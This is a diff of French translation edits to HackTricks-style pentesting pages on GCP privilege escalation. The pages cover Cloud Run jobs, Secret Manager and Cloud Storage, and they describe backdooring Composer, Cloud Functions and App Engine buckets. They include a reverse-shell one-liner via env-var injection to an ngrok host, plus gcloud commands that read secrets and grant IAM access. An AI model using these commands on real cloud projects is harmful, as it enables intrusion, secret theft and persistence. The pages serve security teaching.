gcloud run jobs set-iam-policy <JOB_NAME> <POLICY_FILE>.json \
|
||||
--region=us-central1
|
||||
|
||||
# Add binding
|
||||
gcloud run jobs add-iam-policy-binding <JOB_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
|
||||
# Remove binding
|
||||
gcloud run jobs remove-iam-policy-binding <JOB_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
```
|
||||
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
|
||||
|
||||
Abusez des variables d'environnement d'une exécution de job pour exécuter du code arbitraire et obtenir une reverse shell afin d'extraire le contenu du conteneur (code source) et d'accéder au SA dans les metadata :
|
||||
|
||||
<details>
|
||||
<summary>Exécuter un job Cloud Run en exploitant les variables d'environnement</summary>
|
||||
Abuser des env variables d'une exécution de job pour exécuter du code arbitraire et obtenir un reverse shell afin de dump le contenu du container (source code) et d'accéder au SA dans les metadata :
|
||||
```bash
|
||||
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
|
||||
```
|
||||
</details>
|
||||
|
||||
## Références
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
+10
-4
@@ -12,7 +12,7 @@ Pour plus d'informations sur secretmanager :
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
Cela vous donne l'accès pour lire les secrets du secret manager et cela peut aider à escalader les privilèges (selon les informations stockées dans le secret) :
|
||||
Cela vous donne accès à lire les secrets du secret manager et cela pourrait aider à escalader des privilèges (en fonction des informations stockées dans le secret) :
|
||||
|
||||
<details><summary>Obtenir la version en clair du secret</summary>
|
||||
```bash
|
||||
@@ -21,7 +21,7 @@ gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
</details>
|
||||
|
||||
Comme il s'agit aussi d'une technique de post-exploitation, elle peut être trouvée dans :
|
||||
Comme il s'agit également d'une technique de post exploitation, elle se trouve dans :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
|
||||
@@ -29,14 +29,20 @@ Comme il s'agit aussi d'une technique de post-exploitation, elle peut être trou
|
||||
|
||||
### `secretmanager.secrets.setIamPolicy`
|
||||
|
||||
Cela vous permet de lire les secrets du secret manager, par exemple en utilisant :
|
||||
Cela vous permet d'accéder et de lire les secrets du secret manager, par exemple en utilisant :
|
||||
|
||||
<details><summary>Ajouter une liaison de politique IAM au secret</summary>
|
||||
<details><summary>Add IAM policy binding to secret</summary>
|
||||
```bash
|
||||
gcloud secrets add-iam-policy-binding <scret-name> \
|
||||
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
Ou révoquer les politiques avec :
|
||||
```bash
|
||||
gcloud secrets remove-iam-policy-binding <secret-name> \
|
||||
--member="serviceAccount:<sa-name>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Storage
|
||||
## Stockage
|
||||
|
||||
Basic Information:
|
||||
|
||||
@@ -12,28 +12,82 @@ Basic Information:
|
||||
|
||||
### `storage.objects.get`
|
||||
|
||||
This permission allows you to **download files stored inside Cloud Storage**. This will potentially allow you to escalate privileges because in some occasions **sensitive information is saved there**. Moreover, some GCP services stores their information in buckets:
|
||||
Cette permission vous permet de **télécharger des fichiers stockés dans Cloud Storage**. Cela peut potentiellement vous permettre d'escalader vos privilèges car, dans certaines occasions, **des informations sensibles y sont enregistrées**. De plus, certains services GCP stockent leurs informations dans des buckets :
|
||||
|
||||
- **GCP Composer**: When you create a Composer Environment the **code of all the DAGs** will be saved inside a **bucket**. These tasks might contain interesting information inside of their code.
|
||||
- **GCR (Container Registry)**: The **image** of the containers are stored inside **buckets**, which means that if you can read the buckets you will be able to download the images and **search for leaks and/or source code**.
|
||||
- **GCP Composer**: Lorsque vous créez un Composer Environment le **code de tous les DAGs** sera enregistré dans un **bucket**. Ces tâches peuvent contenir des informations intéressantes dans leur code.
|
||||
- **GCR (Container Registry)**: L'**image** des conteneurs est stockée dans des **buckets**, ce qui signifie que si vous pouvez lire les buckets vous pourrez télécharger les images et **rechercher des leaks et/ou du source code**.
|
||||
|
||||
### `storage.objects.setIamPolicy`
|
||||
|
||||
You can give you permission to **abuse any of the previous scenarios of this section**.
|
||||
Cela peut vous permettre d'**abuser de n'importe lequel des scénarios précédents de cette section**.
|
||||
```bash
|
||||
# Add binding
|
||||
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role="<ROLE>" \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Remove binding
|
||||
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role="<ROLE>" \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Change Policy
|
||||
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
|
||||
--project=<PROJECT_ID> <<'POLICY'
|
||||
{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE>",
|
||||
"members": [
|
||||
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
POLICY
|
||||
|
||||
```
|
||||
### **`storage.buckets.setIamPolicy`**
|
||||
|
||||
For an example on how to modify permissions with this permission check this page:
|
||||
Pour un exemple montrant comment modifier les autorisations avec cette permission, consultez cette page :
|
||||
```bash
|
||||
# Add binding
|
||||
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role=<ROLE> \
|
||||
--project=<MY_PROJECT>
|
||||
|
||||
# Remove binding
|
||||
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role=<ROLE> \
|
||||
--project=<MY_PROJECT>
|
||||
|
||||
# Change policy
|
||||
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
|
||||
--project=<PROJECT_ID> <<'POLICY'
|
||||
{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE>",
|
||||
"members": [
|
||||
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
POLICY
|
||||
|
||||
```
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
La fonctionnalité "interoperability" de Cloud Storage, conçue pour les **cross-cloud interactions** comme avec AWS S3, implique la **création de HMAC keys pour les Service Accounts et les users**. Un attaquant peut exploiter cela en **générant une HMAC key pour un Service Account avec elevated privileges**, ce qui permet **escalating privileges within Cloud Storage**. Alors que les HMAC keys associées aux users ne sont récupérables que via le web console, both the access and secret keys restent **perpetually accessible**, permettant un stockage de secours pour un accès potentiel. En revanche, les HMAC keys liées aux Service Accounts sont accessibles via l'API, mais leurs access and secret keys ne sont pas récupérables après la création, ajoutant une couche de complexité pour un accès continu.
|
||||
|
||||
<details><summary>Créer et utiliser HMAC key pour privilege escalation</summary>
|
||||
La fonctionnalité "interoperability" de Cloud Storage, conçue pour les **interactions inter-cloud** comme avec AWS S3, implique la **création de HMAC keys pour Service Accounts and users**. Un attaquant peut exploiter cela en **générant une HMAC key pour un Service Account doté de privilèges élevés**, ce qui permet ainsi **d'escalader les privilèges dans Cloud Storage**. Alors que les HMAC keys associées aux utilisateurs ne sont récupérables que via la web console, les clés d'accès et les clés secrètes restent **accessibles en permanence**, permettant un stockage de secours potentiel des accès. En revanche, les HMAC keys liées aux Service Accounts sont accessibles via l'API, mais leurs clés d'accès et clés secrètes ne sont pas récupérables après la création, ajoutant une couche de complexité pour un accès continu.
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
|
||||
@@ -63,54 +117,52 @@ gsutil ls gs://[BUCKET_NAME]
|
||||
# Restore
|
||||
gcloud config set pass_credentials_to_gsutil true
|
||||
```
|
||||
</details>
|
||||
|
||||
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
Un autre script d'exploitation pour cette méthode peut être trouvé [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
### `storage.objects.create`, `storage.objects.delete` = Permissions d'écriture Storage
|
||||
|
||||
Pour **créer un nouvel objet** dans un bucket vous avez besoin de `storage.objects.create` et, selon [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), vous avez aussi besoin de `storage.objects.delete` pour **modifier** un objet existant.
|
||||
Pour **créer un nouvel objet** dans un bucket, vous avez besoin de `storage.objects.create` et, selon [la documentation](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), vous avez aussi besoin de `storage.objects.delete` pour **modifier** un objet existant.
|
||||
|
||||
Une exploitation très **courante** des buckets où vous pouvez écrire dans le cloud est lorsque le **bucket contient des fichiers de serveur web** : vous pourriez être en mesure de **stocker du nouveau code** qui sera utilisé par l'application web.
|
||||
Une exploitation très **courante** des buckets où l'on peut écrire dans le cloud concerne les cas où le **bucket contient des fichiers de serveur web** : vous pourriez être en mesure de **stocker du nouveau code** qui sera utilisé par l'application web.
|
||||
|
||||
### Composer
|
||||
|
||||
**Composer** est **Apache Airflow** géré dans GCP. Il présente plusieurs caractéristiques intéressantes :
|
||||
|
||||
- Il s'exécute dans un **GKE cluster**, donc le **SA utilisé par le cluster est accessible** par le code s'exécutant dans Composer.
|
||||
- Tous les composants d'un environnement Composer (**code of DAGs**, plugins et data) sont stockés dans un bucket GCP. Si l'attaquant a des permissions de lecture et d'écriture dessus, il pourrait surveiller le bucket et **à chaque fois qu'un DAG est créé ou mis à jour, soumettre une version backdoored** afin que l'environnement Composer récupère depuis le storage la version backdoored.
|
||||
- Il s'exécute dans un **GKE cluster**, donc le **SA utilisé par le cluster est accessible** par le code s'exécutant dans Composer
|
||||
- Tous les composants d'un environnement composer (**code des DAGs**, plugins et données) sont stockés dans un bucket GCP. Si l'attaquant a des permissions de lecture et d'écriture dessus, il peut surveiller le bucket et **whenever a DAG is created or updated, submit a backdoored version** so the composer environment will get from the storage the backdoored version.
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
**Vous pouvez trouver un PoC de cette attaque dans le repo :** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
|
||||
### Cloud Functions
|
||||
|
||||
- Le code des Cloud Functions est stocké dans Storage et dès qu'une nouvelle version est créée le code est poussé vers le bucket puis le nouveau container est construit à partir de ce code. Par conséquent, **en écrasant le code avant que la nouvelle version ne soit construite, il est possible de faire exécuter du code arbitraire par la cloud function**.
|
||||
- Le code des Cloud Functions est stocké dans Storage et chaque fois qu'une nouvelle version est créée, le code est poussé dans le bucket puis le nouveau conteneur est construit à partir de ce code. Ainsi, **en écrasant le code avant que la nouvelle version ne soit buildée, il est possible de faire exécuter du code arbitraire par la cloud function**.
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
**Vous pouvez trouver un PoC de cette attaque dans le repo :** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
|
||||
### App Engine
|
||||
|
||||
Les versions AppEngine génèrent des données dans un bucket ayant pour nom le format : `staging.<project-id>.appspot.com`. Dans ce bucket, il est possible de trouver un dossier appelé `ae` qui contiendra un dossier par version de l'application AppEngine et à l'intérieur de ces dossiers on pourra trouver le fichier `manifest.json`. Ce fichier contient un json avec tous les fichiers qui doivent être utilisés pour créer la version spécifique. De plus, il est possible de trouver les **vrais noms des fichiers, l'URL vers eux dans le bucket GCP (les fichiers dans le bucket ont changé de nom pour leur sha1 hash) et le sha1 hash de chaque fichier.**
|
||||
Les versions AppEngine génèrent des données dans un bucket nommé selon le format : `staging.<project-id>.appspot.com`. Dans ce bucket, on peut trouver un dossier appelé `ae` contenant un dossier par version de l'application AppEngine et, à l'intérieur de ces dossiers, on peut trouver le fichier `manifest.json`. Ce fichier contient un json listant tous les fichiers nécessaires à la création de la version spécifique. De plus, il est possible d'y trouver les **noms réels des fichiers, l'URL vers eux dans le bucket GCP (les fichiers dans le bucket voient leur nom remplacé par leur sha1) et le sha1 hash de chaque fichier.**
|
||||
|
||||
_Note que ce n'est pas possible de pré-usurper ce bucket parce que les utilisateurs GCP ne sont pas autorisés à créer des buckets utilisant le nom de domaine appspot.com._
|
||||
_Notez qu'il n'est pas possible de pré-saisir ce bucket car les utilisateurs GCP ne sont pas autorisés à créer des buckets utilisant le nom de domaine appspot.com._
|
||||
|
||||
Cependant, avec un accès en lecture et écriture sur ce bucket, il est possible d'escalader les privilèges vers le SA attaché à la version App Engine en surveillant le bucket et à chaque fois qu'un changement est effectué (nouvelle version), modifier la nouvelle version aussi rapidement que possible. De cette manière, le container créé à partir de ce code exécutera le code backdoored.
|
||||
Cependant, avec un accès lecture & écriture sur ce bucket, il est possible d'escalader les privilèges vers le SA attaché à la version App Engine en surveillant le bucket et, à chaque changement (nouvelle version), en modifiant la nouvelle version aussi vite que possible. Ainsi, le conteneur créé à partir de ce code exécutera le code backdoored.
|
||||
|
||||
L'attaque mentionnée peut être réalisée de nombreuses façons différentes, toutes commencent par surveiller le bucket `staging.<project-id>.appspot.com` :
|
||||
L'attaque mentionnée peut être réalisée de plusieurs façons ; toutes commencent par la surveillance du bucket `staging.<project-id>.appspot.com` :
|
||||
|
||||
- Téléverser le code complet de la nouvelle version AppEngine dans un bucket différent et disponible et préparer un **`manifest.json` file with the new bucket name and sha1 hashes of them**. Ensuite, lorsque une nouvelle version est créée dans le bucket, il suffit de modifier le fichier `manifest.json` et d'uploader la version malveillante.
|
||||
- Téléverser une version modifiée de `requirements.txt` qui utilisera du **malicious dependencies code** et mettre à jour le `manifest.json` avec le nouveau nom de fichier, l'URL et le hash correspondant.
|
||||
- Téléverser un **`main.py` ou `app.yaml` modifié qui exécutera le code malveillant** et mettre à jour le `manifest.json` avec le nouveau nom de fichier, l'URL et le hash correspondant.
|
||||
- Téléversez le code complet de la nouvelle version AppEngine dans un bucket différent et disponible et préparez un **`manifest.json` avec le nouveau nom de bucket et les sha1 hashes**. Ensuite, lorsqu'une nouvelle version est créée dans le bucket, il suffit de modifier le `manifest.json` et d'uploader le fichier malveillant.
|
||||
- Téléversez une version modifiée de `requirements.txt` qui utilisera des **dépendances malveillantes** et mettez à jour le `manifest.json` avec le nouveau nom de fichier, l'URL et son hash.
|
||||
- Téléversez un **`main.py` ou `app.yaml` modifié qui exécutera le code malveillant** et mettez à jour le `manifest.json` avec le nouveau nom de fichier, l'URL et son hash.
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
**Vous pouvez trouver un PoC de cette attaque dans le repo :** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
|
||||
### GCR
|
||||
|
||||
- **Google Container Registry** stocke les images dans des buckets, si vous pouvez **écrire dans ces buckets** vous pourriez être capable de **move laterally to where those buckets are being run.**
|
||||
- Le bucket utilisé par GCR aura une URL similaire à `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Les sous-domaines de premier niveau sont spécifiés [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
|
||||
- **Google Container Registry** stocke les images dans des buckets ; si vous pouvez **écrire dans ces buckets**, vous pourriez être capable de vous déplacer latéralement vers les environnements où ces images sont exécutées.
|
||||
- Le bucket utilisé par GCR aura une URL similaire à `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (les sous-domaines de premier niveau sont spécifiés [ici](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
|
||||
|
||||
> [!TIP]
|
||||
> Ce service est déprécié donc cette attaque n'est plus utile. De plus, Artifact Registry, le service qui remplace celui-ci, ne stocke pas les images dans des buckets.
|
||||
> Ce service est déprécié, donc cette attaque n'est plus utile. De plus, Artifact Registry, le service qui remplace celui-ci, n'enregistre pas les images dans des buckets.
|
||||
|
||||
## **Références**
|
||||
|
||||
|
||||
Reference in New Issue
Block a user